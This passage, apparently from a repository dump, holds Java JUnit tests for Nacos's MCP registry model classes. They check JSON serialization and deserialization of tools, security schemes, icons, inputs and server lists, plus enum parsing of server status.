\"{\\\"name\\\":\\\"testTool\\\",\\\"description\\\":\\\"A test tool for MCP\\\",\"\n                + \"\\\"inputSchema\\\":{\\\"type\\\":\\\"object\\\",\\\"properties\\\":{\\\"a\\\":{\\\"type\\\":\\\"string\\\",\"\n                + \"\\\"description\\\":\\\"Parameter A\\\"}}},\"\n                + \"\\\"outputSchema\\\":{\\\"type\\\":\\\"object\\\",\\\"properties\\\":{\\\"result\\\":{\\\"type\\\":\\\"string\\\",\"\n                + \"\\\"description\\\":\\\"Result\\\"}}},\"\n                + \"\\\"_meta\\\":{\\\"hint\\\":\\\"This is a test tool\\\",\\\"version\\\":1},\"\n                + \"\\\"annotations\\\":{\\\"title\\\":\\\"Test Tool Title\\\",\\\"readOnlyHint\\\":true,\"\n                + \"\\\"destructiveHint\\\":false,\\\"idempotentHint\\\":true,\\\"openWorldHint\\\":false}}\";\n\n        McpTool result = mapper.readValue(json, McpTool.class);\n        assertNotNull(result);\n        assertEquals(\"testTool\", result.getName());\n        assertEquals(\"A test tool for MCP\", result.getDescription());\n        assertNotNull(result.getInputSchema());\n        assertEquals(\"object\", result.getInputSchema().get(\"type\"));\n        assertNotNull(result.getInputSchema().get(\"properties\"));\n        Map<String, Object> properties = (Map<String, Object>) result.getInputSchema().get(\"properties\");\n        assertNotNull(properties.get(\"a\"));\n        Map<String, String> paramA = (Map<String, String>) properties.get(\"a\");\n        assertEquals(\"string\", paramA.get(\"type\"));\n        assertEquals(\"Parameter A\", paramA.get(\"description\"));\n\n        assertNotNull(result.getOutputSchema());\n        assertEquals(\"object\", result.getOutputSchema().get(\"type\"));\n        Map<String, Object> outProps = (Map<String, Object>) result.getOutputSchema().get(\"properties\");\n        assertNotNull(outProps.get(\"result\"));\n\n        // Verify _meta field deserialization\n        assertNotNull(result.getMeta());\n        assertEquals(\"This is a test tool\", result.getMeta().get(\"hint\"));\n        assertEquals(1, result.getMeta().get(\"version\"));\n\n        // Verify annotations field deserialization\n        assertNotNull(result.getAnnotations());\n        assertEquals(\"Test Tool Title\", result.getAnnotations().getTitle());\n        assertEquals(true, result.getAnnotations().getReadOnlyHint());\n        assertEquals(false, result.getAnnotations().getDestructiveHint());\n        assertEquals(true, result.getAnnotations().getIdempotentHint());\n        assertEquals(false, result.getAnnotations().getOpenWorldHint());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/SecuritySchemeTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SecuritySchemeTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        SecurityScheme securityScheme = new SecurityScheme();\n        securityScheme.setId(\"sec-1\");\n        securityScheme.setType(\"apiKey\");\n        securityScheme.setScheme(\"bearer\");\n        securityScheme.setIn(\"header\");\n        securityScheme.setName(\"Authorization\");\n        securityScheme.setDefaultCredential(\"default-token\");\n        \n        String json = mapper.writeValueAsString(securityScheme);\n        assertTrue(json.contains(\"\\\"id\\\":\\\"sec-1\\\"\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"apiKey\\\"\"));\n        assertTrue(json.contains(\"\\\"scheme\\\":\\\"bearer\\\"\"));\n        assertTrue(json.contains(\"\\\"in\\\":\\\"header\\\"\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"Authorization\\\"\"));\n        assertTrue(json.contains(\"\\\"defaultCredential\\\":\\\"default-token\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"id\\\":\\\"sec-1\\\",\\\"type\\\":\\\"apiKey\\\",\\\"scheme\\\":\\\"bearer\\\",\\\"in\\\":\\\"header\\\",\"\n                + \"\\\"name\\\":\\\"Authorization\\\",\\\"defaultCredential\\\":\\\"default-token\\\"}\";\n        \n        SecurityScheme result = mapper.readValue(json, SecurityScheme.class);\n        assertNotNull(result);\n        assertEquals(\"sec-1\", result.getId());\n        assertEquals(\"apiKey\", result.getType());\n        assertEquals(\"bearer\", result.getScheme());\n        assertEquals(\"header\", result.getIn());\n        assertEquals(\"Authorization\", result.getName());\n        assertEquals(\"default-token\", result.getDefaultCredential());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/IconTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass IconTest extends BasicRequestTest {\n    \n    @Test\n    void testSerializePngIcon() throws JsonProcessingException {\n        Icon icon = new Icon();\n        icon.setSrc(\"https://example.com/icon.png\");\n        icon.setMimeType(Icon.MimeType.IMAGE_PNG);\n        icon.setSizes(Arrays.asList(\"16x16\", \"32x32\", \"64x64\"));\n        icon.setTheme(Icon.Theme.LIGHT);\n        \n        String json = mapper.writeValueAsString(icon);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"src\\\":\\\"https://example.com/icon.png\\\"\"));\n        assertTrue(json.contains(\"\\\"mimeType\\\":\\\"image/png\\\"\"));\n        assertTrue(json.contains(\"\\\"sizes\\\":[\\\"16x16\\\",\\\"32x32\\\",\\\"64x64\\\"]\"));\n        assertTrue(json.contains(\"\\\"theme\\\":\\\"light\\\"\"));\n    }\n    \n    @Test\n    void testSerializeSvgIcon() throws JsonProcessingException {\n        Icon icon = new Icon();\n        icon.setSrc(\"https://example.com/icon.svg\");\n        icon.setMimeType(Icon.MimeType.IMAGE_SVG_XML);\n        icon.setTheme(Icon.Theme.DARK);\n        \n        String json = mapper.writeValueAsString(icon);\n        assertTrue(json.contains(\"\\\"mimeType\\\":\\\"image/svg+xml\\\"\"));\n        assertTrue(json.contains(\"\\\"theme\\\":\\\"dark\\\"\"));\n    }\n    \n    @Test\n    void testDeserializeIcon() throws JsonProcessingException {\n        String json = \"{\\\"src\\\":\\\"https://example.com/icon.png\\\",\\\"mimeType\\\":\\\"image/png\\\",\"\n                + \"\\\"sizes\\\":[\\\"16x16\\\",\\\"32x32\\\"],\\\"theme\\\":\\\"light\\\"}\";\n        Icon icon = mapper.readValue(json, Icon.class);\n        \n        assertNotNull(icon);\n        assertEquals(\"https://example.com/icon.png\", icon.getSrc());\n        assertEquals(Icon.MimeType.IMAGE_PNG, icon.getMimeType());\n        assertEquals(2, icon.getSizes().size());\n        assertEquals(\"16x16\", icon.getSizes().get(0));\n        assertEquals(Icon.Theme.LIGHT, icon.getTheme());\n    }\n    \n    @Test\n    void testMimeTypeEnumValues() {\n        assertEquals(\"image/png\", Icon.MimeType.IMAGE_PNG.getValue());\n        assertEquals(\"image/jpeg\", Icon.MimeType.IMAGE_JPEG.getValue());\n        assertEquals(\"image/jpg\", Icon.MimeType.IMAGE_JPG.getValue());\n        assertEquals(\"image/svg+xml\", Icon.MimeType.IMAGE_SVG_XML.getValue());\n        assertEquals(\"image/webp\", Icon.MimeType.IMAGE_WEBP.getValue());\n    }\n    \n    @Test\n    void testThemeEnumValues() {\n        assertEquals(\"light\", Icon.Theme.LIGHT.getValue());\n        assertEquals(\"dark\", Icon.Theme.DARK.getValue());\n    }\n    \n    @Test\n    void testMimeTypeFromValue() {\n        assertEquals(Icon.MimeType.IMAGE_PNG, Icon.MimeType.fromValue(\"image/png\"));\n        assertEquals(Icon.MimeType.IMAGE_SVG_XML,\n                Icon.MimeType.fromValue(\"image/svg+xml\"));\n        assertEquals(Icon.MimeType.IMAGE_WEBP, Icon.MimeType.fromValue(\"image/webp\"));\n    }\n    \n    @Test\n    void testThemeFromValue() {\n        assertEquals(Icon.Theme.LIGHT, Icon.Theme.fromValue(\"light\"));\n        assertEquals(Icon.Theme.DARK, Icon.Theme.fromValue(\"dark\"));\n    }\n    \n    @Test\n    void testMimeTypeFromValueCaseInsensitive() {\n        assertEquals(Icon.MimeType.IMAGE_PNG, Icon.MimeType.fromValue(\"IMAGE/PNG\"));\n        assertEquals(Icon.MimeType.IMAGE_SVG_XML, Icon.MimeType.fromValue(\"IMAGE/SVG+XML\"));\n    }\n    \n    @Test\n    void testIconMinimalRequired() throws JsonProcessingException {\n        Icon icon = new Icon();\n        icon.setSrc(\"https://example.com/required.png\");\n        \n        String json = mapper.writeValueAsString(icon);\n        assertTrue(json.contains(\"\\\"src\\\":\\\"https://example.com/required.png\\\"\"));\n        assertTrue(json.contains(\"\\\"mimeType\\\":null\") || !json.contains(\"mimeType\"));\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/InputTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass InputTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        Input input = new Input();\n        input.setDescription(\"test description\");\n        input.setIsRequired(true);\n        input.setFormat(\"string\");\n        input.setValue(\"test value\");\n        input.setIsSecret(false);\n        input.setDefaultValue(\"default value\");\n        input.setChoices(Arrays.asList(\"choice1\", \"choice2\"));\n        \n        String json = mapper.writeValueAsString(input);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"isRequired\\\":true\"));\n        assertTrue(json.contains(\"\\\"format\\\":\\\"string\\\"\"));\n        assertTrue(json.contains(\"\\\"value\\\":\\\"test value\\\"\"));\n        assertTrue(json.contains(\"\\\"isSecret\\\":false\"));\n        assertTrue(json.contains(\"\\\"defaultValue\\\":\\\"default value\\\"\"));\n        assertTrue(json.contains(\"\\\"choices\\\":[\\\"choice1\\\",\\\"choice2\\\"]\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"description\\\":\\\"test description\\\",\\\"isRequired\\\":true,\\\"format\\\":\\\"string\\\",\"\n                + \"\\\"value\\\":\\\"test value\\\",\\\"isSecret\\\":false,\\\"defaultValue\\\":\\\"default value\\\",\"\n                + \"\\\"choices\\\":[\\\"choice1\\\",\\\"choice2\\\"]}\";\n        \n        Input input = mapper.readValue(json, Input.class);\n        assertNotNull(input);\n        assertEquals(\"test description\", input.getDescription());\n        assertEquals(true, input.getIsRequired());\n        assertEquals(\"string\", input.getFormat());\n        assertEquals(\"test value\", input.getValue());\n        assertEquals(false, input.getIsSecret());\n        assertEquals(\"default value\", input.getDefaultValue());\n        assertEquals(2, input.getChoices().size());\n        assertEquals(\"choice1\", input.getChoices().get(0));\n        assertEquals(\"choice2\", input.getChoices().get(1));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/InputWithVariablesTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass InputWithVariablesTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        InputWithVariables inputWithVariables = new InputWithVariables();\n        inputWithVariables.setDescription(\"test description\");\n        \n        Map<String, Input> variables = new HashMap<>();\n        Input varInput = new Input();\n        varInput.setDescription(\"variable description\");\n        variables.put(\"var1\", varInput);\n        inputWithVariables.setVariables(variables);\n        \n        String json = mapper.writeValueAsString(inputWithVariables);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"variables\\\":\"));\n        assertTrue(json.contains(\"\\\"var1\\\":\"));\n        assertTrue(json.contains(\"\\\"variable description\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"description\\\":\\\"test description\\\",\\\"variables\\\":{\\\"var1\\\":{\\\"description\\\":\\\"variable description\\\"}}}\";\n        \n        InputWithVariables inputWithVariables = mapper.readValue(json, InputWithVariables.class);\n        assertNotNull(inputWithVariables);\n        assertEquals(\"test description\", inputWithVariables.getDescription());\n        assertEquals(1, inputWithVariables.getVariables().size());\n        assertEquals(\"variable description\", inputWithVariables.getVariables().get(\"var1\").getDescription());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/KeyValueInputTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass KeyValueInputTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        KeyValueInput keyValueInput = new KeyValueInput();\n        keyValueInput.setName(\"testKey\");\n        keyValueInput.setDescription(\"test description\");\n        keyValueInput.setValue(\"test value\");\n        \n        String json = mapper.writeValueAsString(keyValueInput);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"name\\\":\\\"testKey\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"value\\\":\\\"test value\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"name\\\":\\\"testKey\\\",\\\"description\\\":\\\"test description\\\",\\\"value\\\":\\\"test value\\\"}\";\n        \n        KeyValueInput keyValueInput = mapper.readValue(json, KeyValueInput.class);\n        assertNotNull(keyValueInput);\n        assertEquals(\"testKey\", keyValueInput.getName());\n        assertEquals(\"test description\", keyValueInput.getDescription());\n        assertEquals(\"test value\", keyValueInput.getValue());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/McpErrorResponseTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpErrorResponseTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        McpErrorResponse errorResponse = new McpErrorResponse();\n        errorResponse.setError(\"test error\");\n        String json = mapper.writeValueAsString(errorResponse);\n        assertTrue(json.contains(\"\\\"error\\\":\\\"test error\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"error\\\":\\\"test error\\\"}\";\n        McpErrorResponse errorResponse = mapper.readValue(json, McpErrorResponse.class);\n        assertEquals(\"test error\", errorResponse.getError());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/McpRegistryServerListTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.Arrays;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass McpRegistryServerListTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        McpRegistryServerList mcpRegistryServerList = new McpRegistryServerList();\n        // Use detail type to match List<ServerResponse> in production code\n        mcpRegistryServerList.setServers(Collections.singletonList(new ServerResponse()));\n        // Set metadata with count and nextCursor (now camelCase)\n        mcpRegistryServerList.setMetadata(new McpRegistryServerList.Metadata(\"next\", 1));\n        String json = mapper.writeValueAsString(mcpRegistryServerList);\n        assertTrue(json.contains(\"\\\"servers\\\":[\"));\n        assertTrue(json.contains(\"\\\"metadata\\\":\"));\n        // Primary format: camelCase\n        assertTrue(json.contains(\"\\\"nextCursor\\\":\\\"next\\\"\"));\n        assertTrue(json.contains(\"\\\"count\\\":1\"));\n    }\n\n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        // Test with new camelCase format (primary)\n        String jsonCamelCase = \"{\\\"servers\\\":[],\\\"metadata\\\":{\\\"nextCursor\\\":\\\"next\\\",\\\"count\\\":1}}\";\n        McpRegistryServerList result1 = mapper.readValue(jsonCamelCase, McpRegistryServerList.class);\n        assertEquals(0, result1.getServers().size());\n        assertEquals(1, result1.getMetadata().getCount());\n        assertEquals(\"next\", result1.getMetadata().getNextCursor());\n        \n        // Test with old snake_case format (backward compatibility)\n        String jsonSnakeCase = \"{\\\"servers\\\":[],\\\"metadata\\\":{\\\"next_cursor\\\":\\\"next\\\",\\\"count\\\":1}}\";\n        McpRegistryServerList result2 = mapper.readValue(jsonSnakeCase, McpRegistryServerList.class);\n        assertEquals(0, result2.getServers().size());\n        assertEquals(1, result2.getMetadata().getCount());\n        assertEquals(\"next\", result2.getMetadata().getNextCursor());\n    }\n    \n    @Test\n    void testSerializeWithMultipleServers() throws JsonProcessingException {\n        McpRegistryServerList list = new McpRegistryServerList();\n        \n        ServerResponse sr1 = new ServerResponse();\n        McpRegistryServerDetail server1 = new McpRegistryServerDetail();\n        server1.setName(\"Server1\");\n        sr1.setServer(server1);\n        \n        ServerResponse sr2 = new ServerResponse();\n        McpRegistryServerDetail server2 = new McpRegistryServerDetail();\n        server2.setName(\"Server2\");\n        sr2.setServer(server2);\n        \n        list.setServers(Arrays.asList(sr1, sr2));\n        list.setMetadata(new McpRegistryServerList.Metadata(\"cursor2\", 2));\n        \n        String json = mapper.writeValueAsString(list);\n        assertTrue(json.contains(\"\\\"servers\\\":[\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"Server1\\\"\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"Server2\\\"\"));\n        assertTrue(json.contains(\"\\\"count\\\":2\"));\n    }\n    \n    @Test\n    void testDeserializeWithMultipleServers() throws JsonProcessingException {\n        String json = \"{\\\"servers\\\":[\"\n                + \"{\\\"server\\\":{\\\"name\\\":\\\"Server1\\\",\\\"version\\\":\\\"1.0.0\\\"}},\"\n                + \"{\\\"server\\\":{\\\"name\\\":\\\"Server2\\\",\\\"version\\\":\\\"2.0.0\\\"}}\"\n                + \"],\\\"metadata\\\":{\\\"nextCursor\\\":\\\"cursor2\\\",\\\"count\\\":2}}\";\n        \n        McpRegistryServerList list = mapper.readValue(json, McpRegistryServerList.class);\n        \n        assertEquals(2, list.getServers().size());\n        assertEquals(\"Server1\", list.getServers().get(0).getServer().getName());\n        assertEquals(\"Server2\", list.getServers().get(1).getServer().getName());\n        assertEquals(\"cursor2\", list.getMetadata().getNextCursor());\n        assertEquals(2, list.getMetadata().getCount());\n    }\n    \n    @Test\n    void testMetadataConstructor() throws JsonProcessingException {\n        McpRegistryServerList.Metadata metadata = new McpRegistryServerList.Metadata(\"test_cursor\", 5);\n        \n        assertEquals(\"test_cursor\", metadata.getNextCursor());\n        assertEquals(5, metadata.getCount());\n        \n        String json = mapper.writeValueAsString(metadata);\n        assertTrue(json.contains(\"\\\"nextCursor\\\":\\\"test_cursor\\\"\"));\n        assertTrue(json.contains(\"\\\"count\\\":5\"));\n    }\n    \n    @Test\n    void testEmptyServerList() throws JsonProcessingException {\n        McpRegistryServerList list = new McpRegistryServerList();\n        list.setServers(Collections.emptyList());\n        list.setMetadata(new McpRegistryServerList.Metadata(null, 0));\n        \n        String json = mapper.writeValueAsString(list);\n        assertTrue(json.contains(\"\\\"servers\\\":[]\"));\n        assertTrue(json.contains(\"\\\"metadata\\\":{\"));\n    }\n    \n    @Test\n    void testNullNextCursorHandling() throws JsonProcessingException {\n        McpRegistryServerList list = new McpRegistryServerList();\n        list.setServers(Collections.emptyList());\n        list.setMetadata(new McpRegistryServerList.Metadata(null, 0));\n        \n        String json = mapper.writeValueAsString(list);\n        McpRegistryServerList parsed = mapper.readValue(json, McpRegistryServerList.class);\n        \n        assertNull(parsed.getMetadata().getNextCursor());\n        assertEquals(0, parsed.getMetadata().getCount());\n    }\n    \n    @Test\n    void testBackwardCompatibilitySnakeCaseAlias() throws JsonProcessingException {\n        // Ensure @JsonAlias works for next_cursor -> nextCursor\n        String jsonSnakeCase = \"{\\\"servers\\\":[],\\\"metadata\\\":{\\\"next_cursor\\\":\\\"pagination_cursor\\\",\\\"count\\\":10}}\";\n        McpRegistryServerList list = mapper.readValue(jsonSnakeCase, McpRegistryServerList.class);\n        \n        assertEquals(\"pagination_cursor\", list.getMetadata().getNextCursor());\n        assertEquals(10, list.getMetadata().getCount());\n    }\n    \n    @Test\n    void testPrimaryFormatCamelCase() throws JsonProcessingException {\n        // Ensure camelCase is the primary serialization format\n        McpRegistryServerList list = new McpRegistryServerList();\n        list.setServers(Collections.emptyList());\n        list.setMetadata(new McpRegistryServerList.Metadata(\"cursor\", 5));\n        \n        String json = mapper.writeValueAsString(list);\n        // Primary format should be camelCase\n        assertTrue(json.contains(\"\\\"nextCursor\\\":\\\"cursor\\\"\"));\n        // Should NOT use snake_case in serialization\n        assertTrue(!json.contains(\"\\\"next_cursor\\\"\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/McpServerStatusEnumTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass McpServerStatusEnumTest {\n    \n    @Test\n    void testStatusValues() {\n        assertEquals(\"active\", McpServerStatusEnum.ACTIVE.getName());\n        assertEquals(\"deleted\", McpServerStatusEnum.DELETED.getName());\n        assertEquals(\"deprecated\", McpServerStatusEnum.DEPRECATED.getName());\n    }\n    \n    @Test\n    void testParseStatusActive() {\n        McpServerStatusEnum status = McpServerStatusEnum.parseStatus(\"active\");\n        assertEquals(McpServerStatusEnum.ACTIVE, status);\n    }\n    \n    @Test\n    void testParseStatusDeleted() {\n        McpServerStatusEnum status = McpServerStatusEnum.parseStatus(\"deleted\");\n        assertEquals(McpServerStatusEnum.DELETED, status);\n    }\n    \n    @Test\n    void testParseStatusDeprecated() {\n        McpServerStatusEnum status = McpServerStatusEnum.parseStatus(\"deprecated\");\n        assertEquals(McpServerStatusEnum.DEPRECATED, status);\n    }\n    \n    @Test\n    void testParseStatusInvalid() {\n        McpServerStatusEnum status = McpServerStatusEnum.parseStatus(\"invalid\");\n        assertNull(status);\n    }\n    \n    @Test\n    void testParseStatusNull() {\n        McpServerStatusEnum status = McpServerStatusEnum.parseStatus(null);\n        assertNull(status);\n    }\n    \n    @Test\n    void testParseStatusCaseSensitive() {\n        // The parsing should be case-sensitive\n        McpServerStatusEnum status = McpServerStatusEnum.parseStatus(\"ACTIVE\");\n        assertNull(status);\n    }\n    \n    @Test\n    void testAllEnumValues() {\n        McpServerStatusEnum[] values = McpServerStatusEnum.values();\n        assertEquals(3, values.length);\n        \n        assertEquals(McpServerStatusEnum.ACTIVE, values[0]);\n        assertEquals(McpServerStatusEnum.DELETED, values[1]);\n        assertEquals(McpServerStatusEnum.DEPRECATED, values[2]);\n    }\n    \n    @Test\n    void testEnumOrdinal() {\n        assertEquals(0, McpServerStatusEnum.ACTIVE.ordinal());\n        assertEquals(1, McpServerStatusEnum.DELETED.ordinal());\n        assertEquals(2, McpServerStatusEnum.DEPRECATED.ordinal());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/MetaTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass MetaTest extends BasicRequestTest {\n    \n    @Test\n    